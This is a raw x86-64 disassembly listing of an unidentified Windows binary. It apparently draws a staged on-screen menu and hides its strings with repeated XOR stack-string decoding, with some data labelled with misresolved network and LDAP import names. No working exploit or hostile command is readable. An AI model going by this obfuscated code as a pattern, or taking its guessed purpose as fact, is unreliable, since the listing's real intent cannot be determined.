lea rcx, [rbp + 0x218]
movss xmm1, dword [0x14025d94c]
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
movss xmm1, dword [0x14025d988]
lea rcx, [rbp + 0x220]
movaps xmm2, xmm7
call fcn.1400105e0
mov rdx, rax
movabs rdi, 0x390bddb1307ce28
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x71101d59efdd673c
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x980], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x988], rcx
movabs rax, 0x345d3d328cb40b7f
lea rcx, [rbp + 0x980]
mov qword [rbp + 0x10], rax
xor r8d, r8d
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x990], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x998], rax
movdqa xmm0, xmmword [rbp + 0x990]
xorps xmm0, xmmword [rbp + 0x980]
movdqa xmmword [rbp + 0x980], xmm0
call fcn.140043880
test al, al
je 0x1400545d6
call fcn.140123f2c
mov dword [0x141718ff0], 2
jmp 0x1400545e3
movabs rdi, 0x390bddb1307ce28
cmp dword [0x141718ff0], 2
jne 0x140054a10
movss xmm2, dword [0x14025d948]
lea rcx, [rbp + 0x228]
movss xmm1, dword [0x14025d99c]
addss xmm12, xmm6
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
mov edx, 0xff
mov dword [rsp + 0x20], esi
mov r9d, edx
lea rcx, [rbp + 0x9a0]
mov r8d, edx
call fcn.14003a610
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x9b0]
mov r8d, edx
mov rbx, rax
call fcn.14003a610
movss xmm2, dword [0x14025d88c]
mov r9, rax
movss xmm1, dword [0x14025d8c0]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x343a535be8d56433
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x9c0], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x9c8], rcx
lea rcx, [rbp + 0x9c0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9d0], rax
mov dword [rsp + 0x38], esi
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x9c0]
mov qword [rbp + 0x9d8], rax
xorps xmm0, xmmword [rbp + 0x9d0]
movdqa xmmword [rbp + 0x9c0], xmm0
movss xmm0, dword [0x14025d884]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14025d898]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14004c4e0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140054886
movss xmm2, dword [0x14025d964]
lea rcx, [rbp + 0x230]
movss xmm1, dword [0x14025d97c]
call fcn.1400105e0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x9e0]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.14003a610
movss xmm3, dword [0x14025d854]
lea r8, [rbp + 0x10]
movabs rsi, 0x1a9edca541b99752
unpcklps xmm6, xmm7
movabs rbx, 0x345d3d328cb40b7f
lea rdx, [rbp + 0x1b00]
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x143a535bf8c06e38
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b00], rax
movabs rax, 0x65fef4fb6162bd7d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b08], rax
movabs rax, 0xc62b99dcfef7377e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b10], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b18], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b20], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b28], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b30], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x141718fd8]
mov qword [rbp + 0x1b38], rax
vmovdqu ymm0, ymmword [rbp + 0x1b20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b00]
vmovss xmm0, dword [0x14025d8c4]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x1b00], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.140052c20
comiss xmm12, dword [0x14025d9f4]
jbe 0x14005489a
mov byte [reloc.WS2_32.dll_accept], 0
movaps xmm12, xmm14
mov byte [0x141719191], r13b
jmp 0x1400548a7
movabs rbx, 0x345d3d328cb40b7f
movabs rsi, 0x1a9edca541b99752
cmp byte [0x141719191], 0
je 0x140054a10
movss xmm2, dword [0x14025d964]
lea rcx, [rbp + 0x238]
movss xmm1, dword [0x14025d974]
call fcn.1400105e0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x9f0]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.14003a610
movss xmm3, dword [0x14025d854]
lea r8, [rbp + 0x10]
unpcklps xmm6, xmm7
lea rdx, [rbp + 0x1b40]
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x143a535bf8c06e2c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b40], rax
movabs rax, 0x65ffd2ab4027be7d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b48], rax
movabs rax, 0xc62b99dcfef74574
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b50], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b58], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b60], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b68], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b70], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x141718fd8]
mov qword [rbp + 0x1b78], rax
vmovdqu ymm0, ymmword [rbp + 0x1b60]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b40]
vmovss xmm0, dword [0x14025d8c4]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x1b40], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.140052c20
comiss xmm12, dword [0x14025d9f4]
jbe 0x140054a10
mov byte [0x141719191], 0
movaps xmm12, xmm14
mov dword [0x141718ff0], 3
jmp 0x140054a1d
cmp dword [0x141718ff0], 3
jne 0x140055e0e
call fcn.140021b00
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xa00]
mov r8d, edx
mov rsi, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x141715d44]
lea rcx, [rbp + 0x240]
movss xmm1, dword [0x14025d918]
mov edi, eax
call fcn.1400105e0
movaps xmm2, xmm14
lea rcx, [rbp + 0x248]
movaps xmm1, xmm14
mov rbx, rax
call fcn.1400105e0
movss xmm0, dword [0x14025d8b8]
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm0
mov rcx, rsi
call fcn.140032c50
movss xmm7, dword [0x14025d8e0]
lea rcx, [rbp + 0x250]
movaps xmm2, xmm7
movaps xmm1, xmm7
call fcn.1400105e0
mov rcx, rax
call fcn.1400257f0
call fcn.140025ae0
mov rcx, qword [rbp + 0x158]
call fcn.140021520
movaps xmm2, xmm15
lea rcx, [rbp + 0x258]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 3
lea rdx, [0x140259f9c]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140054b16
mov dword [0x141718ff0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x260]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 4
lea rdx, [0x140259fa0]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140054b51
mov dword [0x141718ff0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x268]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 5
lea rdx, [0x140259fa4]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140054b8c
mov dword [0x141718ff0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x270]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 6
lea rdx, [0x140259fa8]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140054bc7
mov dword [0x141718ff0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x278]
movaps xmm1, xmm15
call fcn.1400105e0
cmp dword [0x141718ff0], 7
lea rdx, [0x140259fac]
mov r8, rax
sete cl
call fcn.140045b90
test al, al
je 0x140054c02
mov dword [0x141718ff0], 7
call fcn.1400215c0
call fcn.140025c40
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x280]
movss xmm1, dword [rbp + 0x188]
addss xmm2, dword [0x14025d8ec]
addss xmm1, dword [0x14025d928]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x288]
movss xmm1, dword [rbp + 0x188]
addss xmm2, dword [0x14025d980]
addss xmm1, dword [0x14025d9f0]
call fcn.1400105e0
movaps xmm2, xmm14
lea rcx, [rbp + 0x290]
movaps xmm1, xmm14
call fcn.1400105e0
lea rdx, [0x141719288]
mov rbx, rax
lea rcx, [rbp + 0xa10]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm0, dword [0x14025d904]
lea r8, [rbp + 0x288]
movss dword [rsp + 0x38], xmm14
lea rdx, [rbp + 0x280]
xor esi, esi
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r14
mov qword [rsp + 0x28], rbx
movss dword [rsp + 0x20], xmm0
call fcn.140034630
call fcn.140021b00
lea rdx, [0x141719288]
mov rbx, rax
lea rcx, [rbp + 0xa20]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm0, dword [0x14025d87c]
lea r8, [rbp + 0x288]
movss xmm6, dword [0x14025d860]
lea rdx, [rbp + 0x280]
movss dword [rsp + 0x30], xmm6
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140032b70
call fcn.140021b00
mov rdi, rax
lea rdx, [0x141719288]
xor eax, eax
movabs r14, 0x390bddb1307ce28
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x345d3d328cb40b3b
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa30], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa38], rcx
lea rcx, [rbp + 0xa50]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa40], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa48], rax
movdqa xmm0, xmmword [rbp + 0xa40]
xorps xmm0, xmmword [rbp + 0xa30]
movdqa xmmword [rbp + 0xa30], xmm0
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8d4]
lea rcx, [rbp + 0x298]
movss xmm1, dword [0x14025d92c]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0xa30]
mov rdx, qword [0x141718fe0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x5b315855e2d5633c
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb1307ce4f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa60], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xa68], rcx
lea rcx, [rbp + 0xa80]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa70], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xa78], rax
movdqa xmm0, xmmword [rbp + 0xa70]
xorps xmm0, xmmword [rbp + 0xa60]
movdqa xmmword [rbp + 0xa60], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8d4]
lea rcx, [rbp + 0x2a0]
movss xmm1, dword [0x14025d944]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0xa60]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x14325565ace92024
mov qword [rbp + 0x10], rax
movabs rax, 0x61f19da87675af6b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b80], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb542f188de83427e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b88], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b90], rax
lea rcx, [rbp + 0xa90]
movabs rax, 0x1a9ee3d128d1c472
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov edx, 0xf0
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x1b98], rax
mov r8d, edx
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ba0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ba8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bb0], rax
movabs rax, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bb8], rax
vmovdqu ymm0, ymmword [rbp + 0x1ba0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1b80]
vmovdqa ymmword [rbp + 0x1b80], ymm1
vzeroupper
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d8f4]
lea rcx, [rbp + 0x2a8]
movss xmm1, dword [0x14025d938]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0x1b80]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x47345566ace92024
mov qword [rbp + 0x10], rax
movabs rax, 0x76d69da976648f08
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1bc0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xa34cfeb5b0d75c72
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1bc8], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bd0], rax
movabs rax, 0x1a9edca541b99720
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bd8], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1be0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1be8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bf0], rax
movabs rax, 0x1a9edca541b99752
mov dword [rsp + 0x20], 0xff
mov edx, 0xf0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0xaa0]
mov qword [rbp + 0x1bf8], rax
mov r9d, edx
vmovdqu ymm0, ymmword [rbp + 0x1be0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1bc0]
vmovdqa ymmword [rbp + 0x1bc0], ymm1
mov r8d, edx
vzeroupper
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d900]
lea rcx, [rbp + 0x2b0]
movss xmm1, dword [0x14025d938]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0x1bc0]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x473c6a12ffdd632b
mov qword [rbp + 0x10], rax
movabs rax, 0x23f4d8b072628208
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c00], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xe659fcbfbfd74e73
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c08], rcx
lea rcx, [rbp + 0xab0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c10], rax
movabs rax, 0x1a9edca541b9d914
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c18], rax
movabs rax, 0x345d3d328cb40b7f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c20], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c28], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c30], rax
movabs rax, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c38], rax
vmovdqu ymm0, ymmword [rbp + 0x1c20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c00]
vmovdqa ymmword [rbp + 0x1c00], ymm1
vzeroupper
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d998]
lea rcx, [rbp + 0x2b8]
movss xmm1, dword [0x14025d938]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8c0]
lea rcx, [rbp + 0x1c00]
mov rdx, qword [0x141718fd8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
lea rdx, [0x141719288]
mov rdi, rax
lea rcx, [rbp + 0xac0]
call fcn.1400427b0
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d998]
lea rcx, [rbp + 0x2c0]
movss xmm1, dword [0x14025d91c]
mov ebx, eax
call fcn.1400105e0
mov r14, qword [rbp + 0x158]
lea rcx, [0x140259fb0]
movss xmm2, dword [0x14025d8c0]
mov r9, rax
mov qword [rsp + 0x40], rsi
mov rdx, r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x2c8]
movss xmm1, dword [rbp + 0x188]
addss xmm2, dword [0x14025d9ac]
addss xmm1, dword [0x14025d928]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x2d0]
movss xmm1, dword [rbp + 0x188]
addss xmm2, dword [0x14025d9e0]
addss xmm1, dword [0x14025d9b0]
call fcn.1400105e0
call fcn.140021b00
mov edx, 0x5a
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xad0]
mov r8d, edx
mov rbx, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm0, dword [0x14025d88c]
lea r8, [rbp + 0x2d0]
movss dword [rsp + 0x30], xmm6
lea rdx, [rbp + 0x2c8]
mov dword [rsp + 0x28], esi
mov r9d, eax
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140032b70
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x346d1303acf75f3b
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xae0], rcx
movabs rdx, 0x390bddb1307ce28
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rdx
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xae8], rcx
lea rcx, [rbp + 0xb00]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xaf0], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0xae0]
mov r8d, edx
mov qword [rbp + 0xaf8], rax
xorps xmm0, xmmword [rbp + 0xaf0]
movdqa xmmword [rbp + 0xae0], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm6, dword [0x14025d930]
lea rcx, [rbp + 0x2d8]
movss xmm2, dword [0x14025d9b8]
movaps xmm1, xmm6
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8b0]
lea rcx, [rbp + 0xae0]
mov rdx, qword [0x141718fd0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x390bddb1307ce28
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x473a4870accc6239
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb10], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb18], rcx
lea rcx, [rbp + 0xb30]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb20], rax
mov qword [rbp + 0x10], rdx
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0xb10]
mov r8d, edx
mov qword [rbp + 0xb28], rax
xorps xmm0, xmmword [rbp + 0xb20]
movdqa xmmword [rbp + 0xb10], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d9c4]
lea rcx, [rbp + 0x2e0]
movaps xmm1, xmm6
mov ebx, eax
call fcn.1400105e0
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0xb10]
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
movss xmm6, dword [0x14025d8bc]
mov r9, rax
mov rdx, qword [0x141718fd0]
movaps xmm2, xmm6
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x40345175accc6239
mov qword [rbp + 0x10], rax
movabs rax, 0x390bddb6062a64b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb40], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb48], rcx
lea rcx, [rbp + 0xb60]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb50], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xb40]
mov qword [rbp + 0xb58], rax
xorps xmm0, xmmword [rbp + 0xb50]
movdqa xmmword [rbp + 0xb40], xmm0
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d9d0]
lea rcx, [rbp + 0x2e8]
movss xmm1, dword [0x14025d930]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8ac]
lea rcx, [rbp + 0xb40]
mov rdx, qword [0x141718fe8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
call fcn.140021b00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1439585ce2d5672f
mov qword [rbp + 0x10], rax
movabs rax, 0x3e3d8bc7d66a66b
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb70], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x345d3d328cb40b7f
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xb78], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb80], rax
movabs rax, 0x390bddb1307ce28
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xb88], rax
movdqa xmm0, xmmword [rbp + 0xb80]
xorps xmm0, xmmword [rbp + 0xb70]
movdqa xmmword [rbp + 0xb70], xmm0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xb90]
mov r8d, edx
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm2, dword [0x14025d9dc]
lea rcx, [rbp + 0x2f0]
movss xmm1, dword [0x14025d930]
mov ebx, eax
call fcn.1400105e0
movss xmm2, dword [0x14025d8ac]
lea rcx, [rbp + 0xb70]
mov rdx, qword [0x141718fd0]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140032f10
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x2f8]
movss xmm1, dword [rbp + 0x188]
addss xmm2, dword [0x14025d9ac]
addss xmm1, dword [0x14025d9d4]
call fcn.1400105e0
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x300]
movss xmm1, dword [rbp + 0x188]
addss xmm2, dword [0x14025d9e0]
addss xmm1, dword [0x14025d9f8]
call fcn.1400105e0
call fcn.140021b00
mov edx, 0x5a
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xba0]
mov r8d, edx
mov rbx, rax
call fcn.14003a610
mov rcx, rax
call fcn.1400427c0
movss xmm0, dword [0x14025d860]
lea r8, [rbp + 0x300]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x2f8]
movss xmm0, dword [0x14025d88c]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
